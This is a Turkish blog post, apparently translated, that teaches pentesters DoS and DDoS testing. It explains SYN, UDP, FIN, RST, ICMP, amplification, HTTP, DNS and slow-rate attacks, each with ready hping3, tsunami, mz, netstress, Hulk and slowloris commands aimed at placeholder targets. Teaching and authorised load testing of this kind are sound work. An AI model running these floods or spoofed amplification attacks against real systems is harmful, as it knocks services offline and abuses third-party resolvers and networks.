TAKİP ET

PENTESTER OLARAK DDoS TESTİNİ NASIL GERÇEKLEŞTİREBİLİRSİNİZ?

DOS(DENİAL OF SERVİCE)

DOS saldırıları, bir servisi hizmet dışı bırakmak amacıyla uygulanan ve diğer saldırı çeşitlerinin aksine genellikle hassas bilgileri çalma amacı gütmeden sıradan kullanıcıların servislere erişimini engellemek amacıyla gerçekleştirilen bir saldırı türüdür. Ancak DOS saldırılarının her zaman bu amaçla gerçekleştirildiğini söylemek de elbette yanlış olur. Bazen saldırganlar başka zararlı faaliyetlerini gerçekleştirebilmek adına DOS saldırılarını kullanabilirler. Örnek vermek gerekirse bir web application firewall(web uygulama güvenlik duvarı) alt edilebilir. Bunun sonucunda ise saldırgan bu durumdan faydalanarak bir başka saldırıyı gerçekleştirebilir. Peki DOS ve DDOS arasındaki fark nedir ?

DOS VE DDOS 

Temel olarak ikisi de aynı mantığa dayanan servisi hizmet dışı bırakma saldırılarıdır. Basit bir şekilde farklarından bahsetmek gerekir ise DOS saldırılarını gerçekleştirirken saldırganlar tek bir internet bağlantısını kullanarak bu saldırıyı gerçekleştirirler. DDOS saldırılarında ise saldırgan internet üzerinde dağıtılmış birden çok kaynağı kullanarak yaratılan bir trafik sayesinde saldırılarını gerçekleştirir.

DOS TÜRLERİ

DOS saldırıları iki ana kategoriye ayrılır.
  1. Uygulama Katmanı Saldırıları
  2. Ağ Katmanı Saldırıları
Bu iki saldırı türünü anlayabilmek için öncelikle katmanın ne demek olduğunu anlamalıyız.Bunun için OSI modelini inceleyeceğiz.

OSI model 7 katmandan oluşur. OSI, uygulamaların ağ üzerinden nasıl iletişim kurabileceğini gösteren bir modeldir.
Örnek bir OSI modeli üstte görüldüğü gibidir.
OSI model hakkında daha fazla bilgiye şuradan ulaşabilirsiniz.
OSI MODEL

AĞ VE ULAŞIM KATMANI SALDILARI

Bu tip saldırılar ağ ve ulaşım katmanını hedef alırlar. Saldırılar hedef makinayı zararlı trafik ile alt etmek için sunucunun tüm kaynaklarını tüketmeyi amaçlayan hacimsel saldırılardan oluşmaktadır.

TCP SYN FLOOD

SYN flood ulaşım katmanında çalışır. Bu tür saldırıları anlayabilmek için öncelikle TCP bağlantılarının nasıl kurulduğunu anlamamız gerekir. Bir TCP bağlantısı 3 yollu el sıkışma ile kurulur. İstemci TCP bağlantısı başlatmak için sunucuya SYN paketi gönderir. Sunucu SYN-ACK ile istemciye cevap verir. İstemci ACK ile sunucuya cevap vererek bu 3 adımla TCP bağlantısını kurmuş olur.


Ancak ACK paketi sunucuya ulaşmazsa doğal olarak sunucu bu bağlantı için SYN-RCVD durumunda kalacaktır, ve bir süre daha ACK cevabını bekleyecektir. SYN flood saldırıları temel olarak sunucunun bu davranışından faydalanır.

Özetle SYN Flood saldırılarında amaç bir çok SYN paketini sunucuya gönderip sunucudan gelen SYN-ACK paketlerini görmezden gelmektir.
Saldırgan yeterli SYN paketi gönderirse sunucu servis dışı kalabilir. Çünkü sunucular eşzamanlı TCP bağlantılarını sınırlı sayıda gerçekleştirirler.

hping3 ile SYN flood saldırısı uygulayabilmek için :

Basit SYN flood:

  1. root@kali:~# hping3 -S --flood -V -p TARGET_PORT TARGET_SITE

  2. using eth0, addr: xxx.xxx.xxx.xxx, MTU: 1500
  3. HPING TARGET_SITE (eth0 xxx.xxx.xxx.xxx): S set, 40 headers + 0 data bytes
  4. hping in flood mode, no replies will be shown
 Gelişmiş SYN flood:
  1. root@kali:~# hping3 -c 20000 -d 120 -S -w 64 -p TARGET_PORT --flood --rand-source TARGET_SITE

  2. HPING TARGET_SITE (eth0 xxx.xxx.xxx.xxx): S set, 40 headers + 120 data bytes
  3. hping in flood mode, no replies will be shown
–flood: mümkün olduğunca hızlı paket gönder.
–rand-source: random kaynak adresi
-c –count: paket sayısı
-d –data: data boyutu
-S –syn: set SYN flag
-w –win: winsize (default 64)
-p –destport: destination port (default 0) 

UDP FLOOD

UDP iki cihaz arasında bir oturum oluşturmaya gerek duymayan bir protokoldür. Diğer bir deyişle el sıkışma işlemi gerekli değildir.UDP flood herhangi bir zafiyetten faydalanmaz. UDP flood saldırılarında amaç basitçe hedef sunucuya sahte ip adresleri ile büyük miktarda UDP datagramı gönderilmesidir. Bir sunucu bu tip bir trafik aldığında her isteği işleyemez hale gelir ve ICMP "destination unreachable"paketlerini göndererek bant genişliğini tüketir.

hping3 ile UDP flood uygulayabilmek için:
  1. root@kali:~# hping3 --flood --rand-source --udp -p TARGET_PORT TARGET_IP

  2. HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): udp mode set, 28 headers + 0 data bytes
  3. hping in flood mode, no replies will be shown
–flood: mümkün olduğunca hızlı paket gönder.
–rand-source: random kaynak adresi
–udp: UDP mode
-p –destport: destination port (default 0)



Ayrıca bu tip saldırılar için LOIC(Low Orbit Ion Cannon)  kullanılabilir. Bir grafik arayüze sahiptir ve kullanımı gayet basittir. 


3 adet DOS methoduna sahiptir.
  1. TCP
  2. UDP
  3. HTTP FLOODS
Saldırıyı bir ip ve port belirtilerek ve methodlar arasından seçim yaparak başlatabiliriz. Ayarlardan sonra "IMMA CHARGIN MAH LAZER" butonuna basarak flood başlatılabilir.

TCP FIN FLOOD

FIN bayrağı etkinleştirilmiş bir TCP paketi, yalnızca bir sunucu ile bir istemci TCP bağlantısı kurduğunda kabul edilir. Aksi taktirde paketler basitçe düşecektir.

Bu tip saldırıları gerçekleştirmek kolaydır, çünkü yalnızca önemsiz FIN paketleri oluşturulur ve gönderilir.

hping3 ile FIN flood uygulayabilmek için:
  1. root@kali:~# hping3 --flood --rand-source -F -p TARGET_PORT TARGET_IP

  2. HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): F set, 40 headers + 0 data bytes
  3. hping in flood mode, no replies will be shown
-F FIN bayrağı ayarları 

TCP RST FLOOD

TCP bağlantısı içinde bir RST paketi hızlıca bağlantının sonlanması anlamına gelir. Bu bağlantı bir hata ile karşılaştığında ve durması gerektiği durumlarda kullanışlıdır.
Saldırganlar trafiğin gittiği kaynağı bir yolla görüntüleyebilirlerse, doğru değerlere sahip RST paketleri gönderirler. Bu paket kaynak ve hedef arasındaki TCP bağlantısını keser. Sürekli olarak bu yapılırsa bağlantı kurulmasını engellemek mümkündür. 

hping3 ile RST flood uygulamak için -R paremetresi kullanılmalıdır:
  1. root@kali:~# hping3 --flood --rand-source -R -p TARGET_PORT TARGET_IP

  2. HPING TARGET_IP (eth0 TARGET_IP): R set, 40 headers + 0 data bytes
  3. hping in flood mode, no replies will be shown

PUSH AND ACK FLOOD

Sunucuya bir sürü PUSH ve ACK paketleri ile saldırılır, saldırgan sunucunun meşru isteklere cevap vermesini önler.

hping3 ile bu parametreleri kullanarak PSH+ACK saldırılarını uygulayabilirsiniz:

  1. root@kali:~# hping3 --flood --rand-source -PA -p TARGET_PORT TARGET_IP

  2. HPING xxx.xxx.xxx.xxx (eth0 xxx.xxx.xxx.xxx): AP set, 40 headers + 0 data bytes
  3. hping in flood mode, no replies will be shown
 PSH ve ACK bayraklarını ayarlamak için -PA parametresi kullanılır.

Bu saldırı LOIC ile de uygulanabilir.
Methodlar bölümünden TCP seçilirse, PSH+ACK saldırıları uygulanabilir.


ICMP AND IGMP FLOODS

ICMP(Internet Control Message Protocol) ve IGMP(Internet Group Management Protocol) protokolü UDP gibi bağlantısız bir protokoldür. ICMP  ağ cihazlarına hata mesajları ve operasyonel bilgileri göndermek için kullanılır. IGMP TCP/IP içindeki multicast üyeleri yönetmek için kullanılan bir protokoldür.

UDP saldırıları gibi, ICMP ve IGMP saldırıları herhangi bir zafiyetten faydalanmaz.Yalnızca herhangi bir tip ICMP veya IGMP paketlerini devamlı olarak göndererek sunucuyu her isteği işlemekten alıkoyar.

hping3 ile ICMP flood uygulayabilmek için -1 parametresi kullanılmalıdır.

  1. root@kali:~# hping3 --flood --rand-source -1 -p TARGET_PORT TARGET_IP

  2. HPING TARGET_IP (eth0 TARGET_IP): icmp mode set, 28 headers + 0 data bytes
  3. hping in flood mode, no replies will be shown

AMPLİFİCATİON SALDIRILARI

Amplification saldırıları istek ve cevap arasındaki boyut farklılıklarından fayda sağlamak amacıyla gerçekleştirilir. Bir tek paket cevap içinde onlarca veya yüzlerce bant genişliği oluşturulur.

Amplification saldırılarını gerçekleştirmek için saldırgan kaynak ip adresi doğuralanamayan bağlantısız protokolleri kullanmalıdır. Bilinen amplification teknikleri Smurf attack(ICMP amplification), DNS amplification ve Fraggle attack(UDP amplification).

Smurf Attack
Saldırgan aracı bir siteyi güçlendirici olarak seçer ve ardından bu aracı sitelerin broadcast adreslerine büyük miktarda ICMP(ping) isteği gönderir.Bu arada bu paketlerin kaynak ip adresleri hedefi işaret eder. Aracı siteler yayınlarını alt ağlarının bulunduğu tüm ana makinelere iletir. Sonunda tüm bilgisayarlar hedef ip'ye cevap verir.

Smurf saldırısı uygulayabilmek için hping3 yazılımını kullanabiliriz.

  1. hping3 --icmp --spoof TARGET_IP BROADCAST_IP
Bu komut sahte ip adresi tarafından (örneğin 10.10.15.152 diyelim) broadcast ip adresi için (örneğin 10.10.15.255 diyelim) ping istekleri gönderir.   

Ağdaki tüm bilgisayarlar hedef ip adresine cevap verecektir. 

DNS Amplification
Saldırgan önbelleği üzerindeki büyük dosyaya sahip özyinelemeli bir DNS sunucuya sahip olmalıdır. Ardından DNS sunucularına hedefin sahte ip adresleri kullanılarak DNS look-up isteği gönderilir. Sunucular hedef ip adresine cevap verecektir.
DNS amplification saldırıları için Tsunami yazılımını kullanabiliriz. 
Öncelikle özyinelemeli DNS sunucularını toplamalıyız.
  1. ./tsunami -o recursive_dns.txt -l 4 -e 172.0.0.0/8
Ardından hedefe bu DNS sunucularını bir yükseltici gibi kulllanarak saldırabiliriz.
  1. ./tsunami -s TARGET_IP -n pentest.blog -p 3 -f recursive_dns.txt 
 -s: hedef ip adresi
-n: Araştırmak için isteğe bağlı domain adı. Varsayılan olarak geçerli hostname'i alır.
-f : Saldırı için açık özyinelemeli DNS sunucularının bulunduğu dosya
-p : DNS sunucusu başına gönderilecek paket sayısı. Varsayılan bir pakettir.

Fraggle Attack
Saldırgan çok sayıda sahte UDP datagramını UDP endpoint'e gönderir.
Bu UDP endpoint'leri hedef ip adreslerine cevap verir.

Uygulama Katmanı Saldırıları 

Uygulama katmanı saldırıları, layer 7 saldırıları olarak da adlandırılır. Bu saldırılar DOS veya DDOS saldırıları olabilir. Bu tip saldırılar insan davranışlarını kullanıcı arayüzü ile etkileşime girdikçe taklit etmek üzerine kuruludur.
Hedef protokoller genellikle HTTP, HTTPS, DNS, SMTP, FTP, VOIP gibi DOS saldırılarına izin veren sömürülebilir zayıf yönleri olan diğer uygulama protokolleridir.

HTTP FLOOD

HTTP flood uygulama katmanını hedefleyen en yaygın saldırı türüdür. Network katmanı saldırılarına göre bulunması daha zordur çünkü istekler normal gözükebilir. 3 yollu el sıkışma işlemi tamamlandığında, HTTP flood saldırıları yalnızca 4 katmanı inceleyen cihazları ve çözümleri kandırmaktadır.

Bu tip saldırılar HTTP GET veya POST isteklerinin hedef sunucuya gönderilen kümeleriden oluşur.
Genellik HTTP flood saldırıları birden fazla bilgisayardan eşzamanlı olarak başlatılır.

HTTP flood saldırılarını uygulayabilmek için  LOIC yazılımını kullanabilirsiniz. Basit bir saldırıyı HTTP method'u seçip port ve ip adresini belirterek başlatabilirsiniz.

Bir diğer kullanışlı araç ise Hulk'dır. Kullanımı oldukça kolaydır.
  1. root@kali:~# python hulk.py -site http://TARGET.com/test/
HTTP flood saldırılarını gerçekleştirmek için Apache JMeter adı verilen bir diğer gelişmiş araç da kullanılabilir. Aracı detaylıca incelemeyeceğiz. Yalnızca basitçe bir göz atalım.

JMeter yazılımını çalıştırdığınızda sizi aşağıdaki gibi bir ekran karşılayacaktır. 


Test plan'a sağ tıklayıp menüyü takip ettikten sonra thread group eklemeliyiz.

Thread'ın özelliklerini düzenleyerek ayarlarını gerçekleştirebiliriz.

HTTP flood uygulayabilmek için thread group'a sağ tıklayarak örnek HTTP isteklerini tanımlamalıyız.

HTTP isteklerini hedef için yapılandırmalıyız.



Bu noktada saldırıyı gerçekleştirebiliriz. Sonuçları görmek istiyorsak listeners eklemeliyiz.


Artık basit bir HTTP flood saldırısını CTRL+R'ye basarak başlatabiliriz.Sonuçlar listener'da görünmeye başlayacaktır.

DNS Flood

Domain Name System(DNS) protokolü domain adlarını ip adreslerine çevirmek için kullanılır.
Diğer flood saldırılarındaki gibi DNS flood saldırılarındaki amaç yüksek miktarda DNS isteklerini DNS uygulama protokolüne göndermektir. Böylece DNS sunucusu, diğer kullanıcılardan gelen tüm bağlantı isteklerini işleyemez hale gelir.

Netstress ve mz DNS flood uygulamak için kullanılabilir.
Kabaca Netstress bu şekilde kullanılabilir:

  1. root@kali:~# netstress.fullrandom -d TARGET_DNS_SERVER -a dns -t a -n 4 -P 53
-d: destination adresi
-a: saldırı tipi
-t: DNS sorgu tipi
-n:  işlem sayısı
-P: destination port 


mz ile DNS flood uygulamak için:

  1. root@kali:~# mz -A rand -B TARGET_DNS_SERVER -t dns "q=pentest.blog" -c 10000000
-A: kaynak ip adresi
-B: destination IP adresi veya domain adı
-t: paket tipi
-c: paketlerin sayısı


mz aracılığıyla DNS paket oluşturmak hakkında daha fazla bilgi elde edebilmek için mz -t dns yardım komutunu kullanabilirsiniz.

Low and Slow Attacks

Floodlardan farklı olarak low and slow saldırıları yüksek miktarda veri tarfiği içermez. Bu tip saldırılar uygulamanın veya sunucunun kaynaklarını hedef alır. Tespit edilmesi çok zordur çünkü trafik normal oranlarda ve meşru gözükebilir.

Slowloris kullanarak bu tip saldırıları gerçekleştirebiliriz. Bu aracın operasyonel mantığına gelirsek, birden fazla bağlantıyı açarak ve onları olabildiğince açık tutarak çalışır. HTTP isteklerini kısmi gönderir ve bu bağlantıları hiç tamamlamaz. Sunucuda yeterli bağlantı açıldığında daha fazla bağlantı işleyemez.

Slowloris yazılımının kullanımı oldukça basittir. Bir saldırıyı gerçekleştirmek için ihtiyacınız olan herşey budur:

  1. ./slowloris.pl -dns TARGET_URL
-port parametresi ile portu değiştirebilirsiniz.

  1. ./slowloris.pl -dns TARGET_URL -port 80
   -num parametresi ile isterseniz soket numarasını değişirebilirsiniz.

  1. ./slowloris.pl -dns TARGET_URL -port 80 -num 200 
  -timeout parametresi ile timeout değerini değiştirebilisiniz.

  1. ./slowloris.pl -dns TARGET_URL -port 80 -num 200 -timeout 30 
 HTTPS sitelere saldırmak için portu değiştirerek -https parametresi kullanılmalıdır. 

  1. ./slowloris.pl -dns TARGET_URL -port 443 -timeout 30 -num 200 -https
Bu yazı How to Perform DDoS Test as a Pentester yazısının çevirisidir. Hata gördüğünüz yerleri veyahut daha doğru bir çeviriye sahip olabileceğini düşündüğünüz alanları bana ulaştırabilirsiniz.






Yorumlar

Bu blogdaki popüler yayınlar

LİNUX FİND KOMUTU

SUBDOMAİN KEŞFİ